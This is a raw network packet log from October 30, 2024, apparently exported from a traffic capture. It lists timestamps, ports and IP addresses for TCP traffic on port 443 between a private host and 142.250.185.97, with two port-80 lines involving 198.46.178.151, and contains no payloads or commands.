Oct 30, 2024 07:53:23.722852945 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.722959042 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.722985029 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.723011971 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.723017931 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.723037958 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.723129988 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.723253965 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.723277092 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.723300934 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.723304987 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.723329067 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.723402977 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.723563910 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.723586082 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.723611116 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.723614931 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.723634958 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.723757029 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.724509954 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.724533081 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.724559069 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.724564075 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.724586964 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.724617004 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.725480080 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.725500107 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.725531101 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.725533962 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.725555897 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.725591898 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.727895021 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.727917910 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.727951050 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.727955103 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.727977037 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.728015900 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.728429079 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.728450060 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.728477001 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.728482008 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.728523016 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.728554010 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.729439974 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.729463100 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.729494095 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.729497910 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.729518890 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.729552031 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.731086969 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.731107950 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.731153011 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.731157064 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.731180906 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.731774092 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.731798887 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.731822014 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.731827021 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.731857061 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.731882095 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.732803106 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.732825041 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.732851028 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.732855082 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.732877016 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.732912064 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.734401941 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.734422922 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.734466076 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.734469891 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.734489918 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.734528065 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.735411882 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.735434055 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.735460043 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.735464096 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.735487938 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.735517979 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.736221075 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.736243010 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.736268044 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.736272097 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.736291885 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.736335993 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.737191916 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.737214088 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.737246990 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.737251043 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.737273932 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.737304926 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.738210917 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.738236904 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.738265991 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.738270044 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.738292933 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.738332987 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.739156008 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.739176989 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.739212036 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.739216089 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.739233017 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.739274979 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.739715099 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.739737988 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.739763975 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.739768028 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.739790916 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.739823103 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.739947081 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.739967108 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.739991903 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.739995956 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.740016937 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.740091085 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.740612030 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.740633011 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.740658998 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.740663052 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.740684032 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.740717888 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.740896940 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.740917921 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.740945101 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.740956068 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.740972042 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.741005898 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.742607117 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.742628098 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.742667913 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.742671967 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.742696047 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.742734909 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.743617058 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.743638039 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.743676901 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.743680954 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.743705034 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.743748903 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.743904114 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.743925095 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.743959904 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.743963003 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.743978977 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.744029999 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.744096994 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.744117022 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.744153976 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.744158030 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.744190931 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.744808912 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.744836092 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.744860888 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.744864941 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.744887114 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.744927883 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.745114088 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.745135069 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.745157957 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.745162010 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.745182991 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.745214939 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.745248079 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.745273113 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.745315075 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.745318890 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.745338917 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.745393991 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.745649099 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.745668888 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.745692968 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.745696068 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.745713949 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.745747089 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.745754004 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.745774031 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.745793104 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.745796919 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.745817900 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.745910883 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.761430979 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.761454105 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.761521101 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.761526108 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.761540890 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.761591911 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.761651993 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.761673927 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.761712074 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.761715889 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.761737108 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.761809111 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.762006998 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.762027025 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.762053967 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.762057066 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.762078047 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.762161970 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.762351036 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.762372017 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.762403965 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.762408018 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.762423992 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.762463093 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.762723923 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.762743950 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.762770891 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.762774944 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.762794018 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.762831926 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.767247915 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.767268896 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.767321110 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.767324924 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.767348051 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.767729044 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.767752886 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.767781973 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.767786026 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.767812014 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.767843962 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.780447006 CET	80	49171	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:23.783371925 CET	49171	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:23.809175014 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.809205055 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.809246063 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.809252977 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.809279919 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.809336901 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.809386969 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.809407949 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.809441090 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.809444904 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.809458971 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.809545040 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.809714079 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.809734106 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.809757948 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.809762955 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.809777975 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.809889078 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.810089111 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.810113907 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.810138941 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.810144901 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.810158014 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.810194016 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.840585947 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.840609074 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.840662003 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.840678930 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.840691090 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.840729952 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.840948105 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.840972900 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.841008902 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.841015100 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.841034889 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.841072083 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.841485023 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.841504097 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.841536999 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.841542006 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.841569901 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.841583014 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.841624022 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.841648102 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.841669083 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.841672897 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.841690063 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.841767073 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.841886997 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.841907978 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.841938019 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.841943026 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.841963053 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.842037916 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.842159033 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.842179060 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.842205048 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.842210054 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.842230082 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.842293024 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.842870951 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.842890978 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.842926979 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.842931986 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.842952967 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.842986107 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.845170975 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.845192909 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.845236063 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.845242977 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.845254898 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.845293999 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.878905058 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.878932953 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.879029989 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.879043102 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.879148960 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.879173994 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.879196882 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.879204988 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.879220963 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.879389048 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.879409075 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.879446030 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.879452944 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.879467010 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.879725933 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.879750013 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.879776955 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.879781008 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.879803896 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.879982948 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.880009890 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.880036116 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.880040884 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.880084991 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.884701014 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.884728909 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.884834051 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.884854078 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.902311087 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.925019979 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.925051928 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.925101042 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.925116062 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.925132036 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.925205946 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.926394939 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.926418066 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.926457882 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.926464081 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.926486969 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.926520109 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.926796913 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.926819086 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.926846981 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.926851988 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.926872015 CET	49172	443	192.168.2.22	142.250.185.97
